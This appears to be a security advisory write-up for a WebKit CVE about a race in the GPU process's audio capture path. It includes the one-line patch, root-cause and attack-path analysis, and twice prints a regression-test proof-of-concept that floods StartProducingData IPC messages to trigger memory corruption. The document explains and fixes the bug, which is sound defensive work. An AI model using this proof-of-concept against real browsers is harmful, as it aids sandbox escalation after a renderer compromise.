Released June 29, 2026

CVE-2026-43731

CVSS 8.8 severity high CWE-416 vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Overview

Impact:

Description: Processing maliciously crafted web content may lead to memory corruption

Researchers: dr3dd

Key insight. The trust boundary here is WebContent to GPU process. Because start() re-initialized a source that was already producing data on another thread, a WebContent process could weaponize a flood of StartProducingData messages into a data race. The one-line if (m_isObservingMedia) return; restores the invariant that setup runs at most once while capturing.

Patch Details

diff --git a/LayoutTests/ipc/usermedia-capture-start-producing-data-race-expected.txt b/LayoutTests/ipc/usermedia-capture-start-producing-data-race-expected.txt
new file mode 100644
index 000000000000..654ddf7f17ef
--- /dev/null
+++ b/LayoutTests/ipc/usermedia-capture-start-producing-data-race-expected.txt
@@ -0,0 +1 @@
+This test passes if it does not crash.
diff --git a/LayoutTests/ipc/usermedia-capture-start-producing-data-race.html b/LayoutTests/ipc/usermedia-capture-start-producing-data-race.html
new file mode 100644
index 000000000000..f681a37dc945
--- /dev/null
+++ b/LayoutTests/ipc/usermedia-capture-start-producing-data-race.html
@@ -0,0 +1,118 @@
+<!DOCTYPE html><!-- webkit-test-runner [ IPCTestingAPIEnabled=true ] -->
+<html>
+<head>
+<script>
+if (window.testRunner) {
+    testRunner.dumpAsText();
+    testRunner.waitUntilDone();
+    testRunner.setUserMediaPermission(true);
+}
+
+function done() {
+    document.body.textContent = "This test passes if it does not crash.";
+    if (window.testRunner)
+        testRunner.notifyDone();
+}
+
+function failTest(error) {
+    document.body.textContent = `Fail: ${error.message}`;
+    if (window.testRunner)
+        testRunner.notifyDone();
+}
+
+async function runTest()
+{
+    if (!window.IPC) {
+        done();
+        return;
+    }
+
+    const { CoreIPC } = await import('./coreipc.js');
+
+    let stream;
+    try {
+        stream = await navigator.mediaDevices.getUserMedia({ audio: true });
+    } catch (error) {
+        throw error;
+    }
+
+    // Hardcoded ID chosen to be much larger than the WebProcess's
+    // RealtimeMediaSourceIdentifier monotonic counter could ever reach in a
+    // single layout-test session, avoiding collision with the id allocated
+    // for the getUserMedia() source above.
+    //
+    // WARNING: RealtimeMediaSourceIdentifier is a process-global monotonic
+    // counter (ObjectIdentifier::generate()) that is never reset across
+    // tests sharing a WebProcess (e.g. mac-wk2). A small hardcoded value
+    // like 100 will eventually collide with the id auto-allocated for the
+    // getUserMedia() source above once enough prior tests have advanced the
+    // counter, tripping ASSERT(!m_proxies.contains(id)) in
+    // UserMediaCaptureManagerProxy::createMediaSourceForCaptureDeviceWithConstraints
+    // and crashing the GPU process on debug bots. Any future IPC test that
+    // hardcodes a RealtimeMediaSourceIdentifier must pick a value well above
+    // any plausible counter (and below the UINT64_MAX hash-traits sentinel).
+    const sourceId = 0xFFFFFFFFn;
+
+    const emptyConstraintMap = {
+        m_width: {}, m_height: {}, m_sampleRate: {}, m_sampleSize: {},
+        m_aspectRatio: {}, m_frameRate: {}, m_volume: {},
+        m_echoCancellation: {}, m_displaySurface: {}, m_logicalSurface: {},
+        m_facingMode: {}, m_deviceId: {}, m_groupId: {}, m_whiteBalanceMode: {},
+        m_zoom: {}, m_torch: {}, m_backgroundBlur: {}, m_powerEfficient: {}
+    };
+
+    let timer;
+    await new Promise((resolve, reject) => {
+        CoreIPC.GPU.UserMediaCaptureManagerProxy.CreateMediaSourceForCaptureDeviceWithConstraints(0, {
+            id: sourceId,
+            device: {
+                persistentId: '239c24b0-2b15-11e3-8224-0800200c9a66',
+                type: 2,
+                label: 'Mock audio device 1',
+                groupId: 'microphonegroup',
+                enabled: true,
+                isDefault: true,
+                isMockDevice: true,
+                isEphemeral: false
+            },
+            hashSalts: { persistentDeviceSalt: 'a', ephemeralDeviceSalt: 'b' },
+            constraints: { mandatoryConstraints: emptyConstraintMap, advancedConstraints: [], isValid: true },
+            shouldUseGPUProcessRemoteFrames: false,
+            pageIdentifier: IPC.pageID
+        }, () => { 
+            resolve();
+        });
+
+        timer = setTimeout(() => reject(`Timed out waiting for CreateMediaSourceForCaptureDeviceWithConstraints`), 5000);
+    });
+    clearTimeout(timer);
+
+    CoreIPC.GPU.UserMediaCaptureManagerProxy.StartProducingData(0, { id: sourceId, pageIdentifier: IPC.pageID });
+
+    let count = 0;
+    const interval = setInterval(() => {
+        for (let i = 0; i < 10; i++)
+            CoreIPC.GPU.UserMediaCaptureManagerProxy.StartProducingData(0, { id: sourceId, pageIdentifier: IPC.pageID });
+        if (++count > 20) {
+            clearInterval(interval);
+            stream.getTracks().forEach(t => t.stop());
+
+            // Tear down the GPU-side proxy we created via raw IPC so layout-test
+            // runs that share this WebProcess don't collide on the hardcoded sourceId.
+            CoreIPC.GPU.UserMediaCaptureManagerProxy.RemoveSource(0, { id: sourceId });
+            done();
+        }
+    }, 10);
+}
+
+window.addEventListener('load', async event => {
+    runTest().catch((error) => {
+        failTest(error);
+    });
+});
+
+</script>
+</head>
+<body>
+</body>
+</html>
diff --git a/LayoutTests/platform/glib/TestExpectations b/LayoutTests/platform/glib/TestExpectations
index 11ff43480d47..99c2828898e3 100644
--- a/LayoutTests/platform/glib/TestExpectations
+++ b/LayoutTests/platform/glib/TestExpectations
@@ -3606,6 +3606,7 @@ ipc/pasteboard-write-custom-data.html [ Skip ]
 ipc/remotedisplaylistrecorder-drawcontrolpart-slidertrackpart-crash.html [ Skip ]
 ipc/media-containment-bypass-create-player.html [ Skip ]
 http/tests/ipc/gpu-load-error-empty-user-info-crssh.html [ Skip ]
+ipc/usermedia-capture-start-producing-data-race.html [ Skip ]
 
 # These tests are specific to Cocoa's definition of WebCore::PlatformColorSpace which is different from Skia's.
 ipc/decode-feConvolveMatrix-kernelSize-overflow.html [ Skip ]
diff --git a/Source/WebKit/GPUProcess/webrtc/UserMediaCaptureManagerProxy.cpp b/Source/WebKit/GPUProcess/webrtc/UserMediaCaptureManagerProxy.cpp
index 9d2a2f433b78..2c178ee0ba65 100644
--- a/Source/WebKit/GPUProcess/webrtc/UserMediaCaptureManagerProxy.cpp
+++ b/Source/WebKit/GPUProcess/webrtc/UserMediaCaptureManagerProxy.cpp
@@ -140,6 +140,11 @@ class UserMediaCaptureManagerProxySourceProxy final
 
     void start()
     {
+        // A compromised WebContent process may send StartProducingData repeatedly. Once we are
+        // observing, prepareAudioDescription() would race the capture thread's audioSamplesAvailable().
+        if (m_isObservingMedia)
+            return;
+
         m_shouldReset = true;
         m_isStopped = false;
         m_source->start();

Background

Advisory: Apple Security Advisory

Attribute Value
CVE CVE-2026-43731
Bugzilla 314115
Component WebKit
Bug Class Race
Severity medium
Commit 866892a3052f6739…
Advisory Apple Advisory

Terminology

  • GPU process capture path — Media capture (microphone/camera) is brokered by UserMediaCaptureManagerProxy in the GPU process; WebContent drives it over IPC with messages like StartProducingData.
  • Capture thread — A separate thread delivers audio samples via audioSamplesAvailable() while the source is producing, concurrent with the IPC-handling thread.
  • Idempotency — An operation that has the same effect whether run once or many times; start() was not idempotent, so repeated calls re-ran setup.

Root Cause Analysis

This fixes a race in the GPU process’s audio capture path reachable from a compromised WebContent process. A capture source’s start() (in UserMediaCaptureManagerProxy) reset state and called m_source->start(); a compromised or malicious WebContent could send StartProducingData over IPC repeatedly, so start() re-ran source setup (including prepareAudioDescription()) while the capture thread was already delivering samples via audioSamplesAvailable(). The two threads then raced on the source’s audio description/state, producing memory corruption in the GPU process. The added comment states this directly. The fix makes start() idempotent by returning early when already observing: if (m_isObservingMedia) return;, so repeated StartProducingData messages cannot re-initialize a source that is concurrently producing data. The restored invariant is that source setup runs at most once while capturing, never concurrently with the capture thread’s sample callback. The regression test uses the IPC testing API to send StartProducingData many times against one source id to drive the race. Established by the diff. Note this is a WebContent->GPU process boundary issue: it presupposes a WebContent process already able to send crafted IPC (e.g. compromised via another bug), which the advisory reflects as the exploitation prerequisite.

Attack Path

1. Obtain crafted IPC to the GPU process

A compromised WebContent process (or IPC testing) can send UserMediaCaptureManagerProxy messages for a capture source.

2. Create a capture source and start producing

It creates a media source and sends StartProducingData so the capture thread begins delivering audioSamplesAvailable().

3. Flood StartProducingData

It repeatedly sends StartProducingData for the same source id while capture is active.

4. Race source setup against the capture thread

Each pre-patch start() re-runs prepareAudioDescription() concurrently with audioSamplesAvailable(), racing shared state and corrupting memory in the GPU process.

Impact Assessment

Memory corruption in the GPU process triggerable from a compromised or malicious WebContent process. This is a second-stage bug: it presupposes an attacker who can already send crafted IPC (e.g. after an initial renderer compromise), and it lets them escalate by racing source setup against the live capture thread — a step toward breaking out of the renderer’s constraints into the GPU process.

Audit Directions

Non-idempotent IPC handlers

Review other GPU-process capture/media control messages that re-run initialization; any handler reachable repeatedly over IPC must be safe against re-entry while a worker thread is active.

State guarded only after setup

Look for setup routines that mutate shared source state without first checking a ‘already running’ flag like m_isObservingMedia.

Changed Functions

Function File Change Note
Source::start (UserMediaCaptureManagerProxy) Source/WebKit/GPUProcess/webrtc/UserMediaCaptureManagerProxy.cpp modified Adds an early if (m_isObservingMedia) return; guard so repeated StartProducingData messages cannot re-initialize a source that is already producing data, eliminating the race with the capture thread’s audioSamplesAvailable().

Files Changed

Source Files

  • Source/WebKit/GPUProcess/webrtc/UserMediaCaptureManagerProxy.cpp

Test Files

  • LayoutTests/ipc/usermedia-capture-start-producing-data-race-expected.txt
  • LayoutTests/ipc/usermedia-capture-start-producing-data-race.html
  • LayoutTests/platform/glib/TestExpectations

Regression Test

The fix ships this proof-of-concept / regression test:

diff --git a/LayoutTests/ipc/usermedia-capture-start-producing-data-race-expected.txt b/LayoutTests/ipc/usermedia-capture-start-producing-data-race-expected.txt
new file mode 100644
index 000000000000..654ddf7f17ef
--- /dev/null
+++ b/LayoutTests/ipc/usermedia-capture-start-producing-data-race-expected.txt
@@ -0,0 +1 @@
+This test passes if it does not crash.
diff --git a/LayoutTests/ipc/usermedia-capture-start-producing-data-race.html b/LayoutTests/ipc/usermedia-capture-start-producing-data-race.html
new file mode 100644
index 000000000000..f681a37dc945
--- /dev/null
+++ b/LayoutTests/ipc/usermedia-capture-start-producing-data-race.html
@@ -0,0 +1,118 @@
+<!DOCTYPE html><!-- webkit-test-runner [ IPCTestingAPIEnabled=true ] -->
+<html>
+<head>
+<script>
+if (window.testRunner) {
+    testRunner.dumpAsText();
+    testRunner.waitUntilDone();
+    testRunner.setUserMediaPermission(true);
+}
+
+function done() {
+    document.body.textContent = "This test passes if it does not crash.";
+    if (window.testRunner)
+        testRunner.notifyDone();
+}
+
+function failTest(error) {
+    document.body.textContent = `Fail: ${error.message}`;
+    if (window.testRunner)
+        testRunner.notifyDone();
+}
+
+async function runTest()
+{
+    if (!window.IPC) {
+        done();
+        return;
+    }
+
+    const { CoreIPC } = await import('./coreipc.js');
+
+    let stream;
+    try {
+        stream = await navigator.mediaDevices.getUserMedia({ audio: true });
+    } catch (error) {
+        throw error;
+    }
+
+    // Hardcoded ID chosen to be much larger than the WebProcess's
+    // RealtimeMediaSourceIdentifier monotonic counter could ever reach in a
+    // single layout-test session, avoiding collision with the id allocated
+    // for the getUserMedia() source above.
+    //
+    // WARNING: RealtimeMediaSourceIdentifier is a process-global monotonic
+    // counter (ObjectIdentifier::generate()) that is never reset across
+    // tests sharing a WebProcess (e.g. mac-wk2). A small hardcoded value
+    // like 100 will eventually collide with the id auto-allocated for the
+    // getUserMedia() source above once enough prior tests have advanced the
+    // counter, tripping ASSERT(!m_proxies.contains(id)) in
+    // UserMediaCaptureManagerProxy::createMediaSourceForCaptureDeviceWithConstraints
+    // and crashing the GPU process on debug bots. Any future IPC test that
+    // hardcodes a RealtimeMediaSourceIdentifier must pick a value well above
+    // any plausible counter (and below the UINT64_MAX hash-traits sentinel).
+    const sourceId = 0xFFFFFFFFn;
+
+    const emptyConstraintMap = {
+        m_width: {}, m_height: {}, m_sampleRate: {}, m_sampleSize: {},
+        m_aspectRatio: {}, m_frameRate: {}, m_volume: {},
+        m_echoCancellation: {}, m_displaySurface: {}, m_logicalSurface: {},
+        m_facingMode: {}, m_deviceId: {}, m_groupId: {}, m_whiteBalanceMode: {},
+        m_zoom: {}, m_torch: {}, m_backgroundBlur: {}, m_powerEfficient: {}
+    };
+
+    let timer;
+    await new Promise((resolve, reject) => {
+        CoreIPC.GPU.UserMediaCaptureManagerProxy.CreateMediaSourceForCaptureDeviceWithConstraints(0, {
+            id: sourceId,
+            device: {
+                persistentId: '239c24b0-2b15-11e3-8224-0800200c9a66',
+                type: 2,
+                label: 'Mock audio device 1',
+                groupId: 'microphonegroup',
+                enabled: true,
+                isDefault: true,
+                isMockDevice: true,
+                isEphemeral: false
+            },
+            hashSalts: { persistentDeviceSalt: 'a', ephemeralDeviceSalt: 'b' },
+            constraints: { mandatoryConstraints: emptyConstraintMap, advancedConstraints: [], isValid: true },
+            shouldUseGPUProcessRemoteFrames: false,
+            pageIdentifier: IPC.pageID
+        }, () => { 
+            resolve();
+        });
+
+        timer = setTimeout(() => reject(`Timed out waiting for CreateMediaSourceForCaptureDeviceWithConstraints`), 5000);
+    });
+    clearTimeout(timer);
+
+    CoreIPC.GPU.UserMediaCaptureManagerProxy.StartProducingData(0, { id: sourceId, pageIdentifier: IPC.pageID });
+
+    let count = 0;
+    const interval = setInterval(() => {
+        for (let i = 0; i < 10; i++)
+            CoreIPC.GPU.UserMediaCaptureManagerProxy.StartProducingData(0, { id: sourceId, pageIdentifier: IPC.pageID });
+        if (++count > 20) {
+            clearInterval(interval);
+            stream.getTracks().forEach(t => t.stop());
+
+            // Tear down the GPU-side proxy we created via raw IPC so layout-test
+            // runs that share this WebProcess don't collide on the hardcoded sourceId.
+            CoreIPC.GPU.UserMediaCaptureManagerProxy.RemoveSource(0, { id: sourceId });
+            done();
+        }
+    }, 10);
+}
+
+window.addEventListener('load', async event => {
+    runTest().catch((error) => {
+        failTest(error);
+    });
+});
+
+</script>
+</head>
+<body>
+</body>
+</html>
diff --git a/LayoutTests/platform/glib/TestExpectations b/LayoutTests/platform/glib/TestExpectations
index 11ff43480d47..99c2828898e3 100644
--- a/LayoutTests/platform/glib/TestExpectations
+++ b/LayoutTests/platform/glib/TestExpectations
@@ -3606,6 +3606,7 @@ ipc/pasteboard-write-custom-data.html [ Skip ]
 ipc/remotedisplaylistrecorder-drawcontrolpart-slidertrackpart-crash.html [ Skip ]
 ipc/media-containment-bypass-create-player.html [ Skip ]
 http/tests/ipc/gpu-load-error-empty-user-info-crssh.html [ Skip ]
+ipc/usermedia-capture-start-producing-data-race.html [ Skip ]
 
 # These tests are specific to Cocoa's definition of WebCore::PlatformColorSpace which is different from Skia's.
 ipc/decode-feConvolveMatrix-kernelSize-overflow.html [ Skip ]